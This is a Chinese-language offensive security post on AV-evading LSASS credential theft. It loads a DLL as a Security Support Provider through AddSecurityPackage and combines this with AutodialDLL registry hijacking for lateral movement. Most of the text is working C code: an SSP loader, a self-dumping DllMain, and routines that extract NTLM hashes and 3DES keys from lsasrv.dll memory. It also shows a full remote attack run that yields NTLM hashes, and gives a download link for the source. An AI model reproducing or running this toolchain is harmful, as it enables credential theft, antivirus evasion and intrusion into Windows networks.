在这篇里,涉及到“AutoDialDLL持久化驻留并横向移动、加载SSP、抓取NTLM哈希”等知识点内容,且每一项内容都能作为一个点延伸展开学习,确实相当的复杂,强烈建议要读源码来理解细节。
一、AddSecurityPackage和加载SSP
关于LSASS进程的Dump,以前写过有《Hook打造Lsass NTLM 身份认证后门》《利用签名驱动绕过LSA保护PPL》《Process Herpaderping》,可以参考辅助。但当我们Dump时(或者“内网横向移动的过程中怎么绕过一些杀毒软件(如卡巴斯基)来获取LSASS进程里面用户的一些密码哈希值”),出现“由于杀毒软件的存在,直接去读写LSASS进程会被拦截,比如在任务管理器中直接创建转储文件会显示拒绝访问:”
又或者直接调用comsvcs.dll中的MiniDump来获取也会被提示拦截:
在这里,作者给出了绕过原理就是“调用AddSecurityPackage函数来让LSASS进程主动加载我们的DLL文件,而在DLL加载后会直接DUMP自己宿主进程LSASS的内存,以此来成功绕过杀软的限制”。
如下是加载SSP的代码:
int _tmain(int argc, _TCHAR* argv[])
{
SECURITY_PACKAGE_OPTIONS sp = {0};
sp.Size = sizeof(sp);
sp.Type = SECPKG_OPTIONS_TYPE_LSA;
HMODULE hm = LoadLibraryA("sspicli.dll");
if (hm) {
ptr = (pAddSecurityPackage)GetProcAddress(hm, "AddSecurityPackageA");
if (ptr) {
ptr("C:\\Users\\sushan\\Desktop\\123.dll",&sp);
}
}
return 0;
}
其核心代码为:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
HANDLE hFile = CreateFile("C:\\Users\\sushan\\Desktop\\test.txt", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
MiniDumpWriteDump((HANDLE)-1, GetCurrentProcessId(), hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
CloseHandle(hFile);
}
}
case DLL_THREAD_ATTACH:
管理员权限运行SSP.exe,卡巴全程没拦截直接输出test文件,再使用mimikatz加载解析test文件,成功获取测试环境下账号的明文密码以及哈希值:
二、结合AutodialDLL横向移动技术和SSP的PoC,从LSASS进程中抓取NTLM哈希
这里提出了一种新方法:将DLL上传到目标机器;然后它使远程注册表能够修改AutodialDLL条目并启动/重新启动BITS服务;Svchosts将加载我们的DLL,再次将AutodiaDLL设置为默认值并执行RPC请求以强制LSASS加载与SSP相同的DLL;一旦DLL被LSASS加载,它将在进程内存中搜索以提取NTLM哈希和密钥/IV。
当进程使用WinSock2库时,该进程还会加载其他附加DLL以提供不同 WinSock2 服务提供者的功能。AutodialDLL子项定义的DLL 是这些可以加载的“额外”DLL 之一。默认情况下,此项设置为c:\windows\system32\rasadhlp.dll。
如果我们用跟踪attach/detach事件的虚假DLL路径修改这个注册表项,我们就可以看到DLL是如何开始为每个尝试连接到Internet的新进程逐渐加载的。
可以利用此行为来执行横向移动。一般来说,思路是通过SMB上传一个DLL到目标机器,然后通过Remote Registry service或者WMI修改注册表。下次进程利用Winsock2时,它会加载我们植入的 DLL 并触发我们的有效负载的执行。这种通用方法需要改进以解决一些不便之处:
在恢复注册表项之前,DLL将由多个进程加载。
DLL将由非特权进程加载,这意味着将生成多个受限beacon。
如果我们的DLL在被具有足够权限的进程加载后继续恢复注册表项,则第一个问题可以轻松解决。要做到这一点,我们可以做一些简单的事情,比如在附加上执行这个:
LPCSTR orig = "C:\\windows\\system32\\rasadhlp.dll";
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters", 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{ RegSetValueExA(hKey, "AutodialDLL", 0, REG_SZ, (LPBYTE)orig, strlen(orig) + 1);
RegCloseKey(hKey); }
在下面的例子中,我们将两个TTP(AutodialDLL和SSP)组合在同一个DLL中以从远程机器收集凭证。
通过使用API的RPC调用,可以强制lsass进程以安全服务提供程序的形式加载新的DLL,而无需重新启动计算机AddSecurityPackage。我们将用代码来执行SSP加载,但是我们会以在lsasrv.dll内存中寻找NTLM哈希值的方式进行(类似于sekurlsa::msv)。
首先,我们的DLL必须确定它是否已被lsass.exe或其他进程加载。对于后一种情况,必须执行RPC调用,以便lsass.exe加载同一个DLL(还需要将AutodialDLL条目恢复为其原始值以防止额外加载)。如果它已经被LSASS加载,那么它只需要在内存中查找哈希并将它们保存在文本文件中,例如:
void onAttach(void)
{
LPSTR path = (LPSTR)malloc(MAX_PATH);
GetModuleFileNameA(NULL, path, MAX_PATH);
if (strncmp(path, "C:\\Windows\\system32\\lsass.exe", MAX_PATH) == 0) { getHashes(); }
else {
LPCSTR orig = "C:\\windows\\system32\\rasadhlp.dll";
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters", 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {
RegSetValueExA(hKey, "AutodialDLL", 0, REG_SZ, (LPBYTE)orig, strlen(orig) + 1);
RegCloseKey(hKey);
addSSP();
}
}
free(path);
}
在这两种情况下,DLL都会从DllMain返回FALSE,以防止DLL驻留在任一进程中。
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
ourself = hinstDLL;
onAttach();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return FALSE;
}
本质上,我们是在lsasrv.dll中搜索签名,然后检索定位结构所需的信息LogonSessionList和所需的加密密钥/IV。由于这个 PoC模仿Matteo Malvica的帖子,我们将只检索使用Triple-DES加密的cryptoblob:
//...
HMODULE ourself = NULL;
// In this PoC I am targeting a Windows 1809. For a real usage it needs to check the Windows version and choose the right signatures and offsets. This information can be collected from
//https://github.com/gentilkiwi/mimikatz/blob/a2271237d168c6ca40d11ece565cf97a5e1d3fc1/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_utils.c#L14
BYTE LsaInitialize_needle[] = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 };
BYTE LogonSessionList_needle[] = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74 };
//...
void getHashes(void) {
unsigned char* moduleBase;
DWORD offset;
DWORD offsetLogonSessionList_needle;
unsigned char* iv_vector;
unsigned char* DES_key = NULL;
ULONGLONG iv_offset = 0;
ULONGLONG hDes_offset = 0;
ULONGLONG DES_pointer = 0;
ULONGLONG LogonSessionList_offset = 0;
unsigned char* currentElem = NULL;
unsigned char* LogonSessionList;
KIWI_BCRYPT_HANDLE_KEY h3DesKey;
KIWI_BCRYPT_KEY81 extracted3DesKey;
moduleBase = (unsigned char*)GetModuleHandleA("lsasrv.dll");
offset = SearchPattern(moduleBase, LsaInitialize_needle, sizeof(LsaInitialize_needle), 0x200000);
FILE* file;
if ((file = fopen("C:\\pwned.pwn", "ab")) == NULL) {
return; }
char* loginfo;
memcpy(&iv_offset, offset + moduleBase + 0x43, 4);
iv_vector = (unsigned char*)malloc(16);
memcpy(iv_vector, offset + moduleBase + 0x43 + 4 + iv_offset, 16);
fwrite("IV:", strlen("IV:"), 1, file);
for (int i = 0; i < 16; i++) {
loginfo = (char*)malloc(4);
snprintf(loginfo, 4, "%02x", iv_vector[i]);
fwrite(loginfo, 2, 1, file);
free(loginfo);
}
free(iv_vector);
memcpy(&hDes_offset, moduleBase + offset - 0x59, 4);
memcpy(&DES_pointer, moduleBase + offset - 0x59 + 4 + hDes_offset, 8);
memcpy(&h3DesKey, (void *)DES_pointer, sizeof(KIWI_BCRYPT_HANDLE_KEY));
memcpy(&extracted3DesKey, h3DesKey.key, sizeof(KIWI_BCRYPT_KEY81));
DES_key = (unsigned char*)malloc(extracted3DesKey.hardkey.cbSecret);
memcpy(DES_key, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);
fwrite("\n3DES: ", strlen("\n3DES:"), 1, file);
for (int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) {
loginfo = (char*)malloc(4);
snprintf(loginfo, 4, "%02x", DES_key[i]);
fwrite(loginfo, 2, 1, file);
free(loginfo);
}
free(DES_key);
offsetLogonSessionList_needle = SearchPattern(moduleBase, LogonSessionList_needle, sizeof(LogonSessionList_needle), 0x200000);
memcpy(&LogonSessionList_offset, moduleBase + offsetLogonSessionList_needle + 0x17, 4);
LogonSessionList = moduleBase + offsetLogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset;
while (currentElem != LogonSessionList) {
if (currentElem == NULL) {
currentElem = LogonSessionList; }
ULONGLONG tmp = 0;
USHORT length = 0;
LPWSTR username = NULL;
ULONGLONG username_pointer = 0;
memcpy(&tmp, currentElem, 8);
currentElem = (unsigned char*)tmp;
memcpy(&length, (void*)(tmp + 0x90), 2);
username = (LPWSTR)malloc(length + 2);
memset(username, 0, length + 2);
memcpy(&username_pointer, (void*)(tmp + 0x98), 8);
memcpy(username, (void*)username_pointer, length);
loginfo = (char*)malloc(1024);
snprintf(loginfo, 1024, "\nUser: %S\n", username);
fwrite(loginfo, strlen(loginfo), 1, file);
free(loginfo);
free(username);
ULONGLONG credentials_pointer = 0;
memcpy(&credentials_pointer, (void*)(tmp + 0x108), 8);
if (credentials_pointer == 0) {
continue; }
ULONGLONG primaryCredentials_pointer = 0;
memcpy(&primaryCredentials_pointer, (void*)(credentials_pointer + 0x10), 8);
USHORT cryptoblob_size = 0;
memcpy(&cryptoblob_size, (void*)(primaryCredentials_pointer + 0x18), 4);
if (cryptoblob_size % 8 != 0) {
loginfo = (char*)malloc(1024);
snprintf(loginfo, 1024, "\nPasswordErr: NOT COMPATIBLE WITH 3DES, skipping\n");
fwrite(loginfo, strlen(loginfo), 1, file);
free(loginfo);
continue;
}
ULONGLONG cryptoblob_pointer = 0;
memcpy(&cryptoblob_pointer, (void*)(primaryCredentials_pointer + 0x20), 8);
unsigned char* cryptoblob = (unsigned char*)malloc(cryptoblob_size);
memcpy(cryptoblob, (void*)cryptoblob_pointer, cryptoblob_size);
loginfo = (char*)malloc(1024);
snprintf(loginfo, 1024, "\nPassword:");
fwrite(loginfo, strlen(loginfo), 1, file);
free(loginfo);
for (int i = 0; i < cryptoblob_size; i++) {
loginfo = (char*)malloc(4);
snprintf(loginfo, 4, "%02x", cryptoblob[i]);
fwrite(loginfo, 2, 1, file);
free(loginfo);
}
free(cryptoblob);
}
fclose(file);
}
//...
最后,需要python脚本来读取包含所收集信息的文本文件(并执行cryptoblob的解密):
例子:
Windows 服务器192.168.56.20
和域控制器192.168.56.10
:
python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll
[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:
============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:
============
[+] Deleting DLL
[^] Have a nice day!
三、源码
链接:https://pan.baidu.com/s/1-OY6MEzTZTxu4lvwA3HPRw
提取码:9l70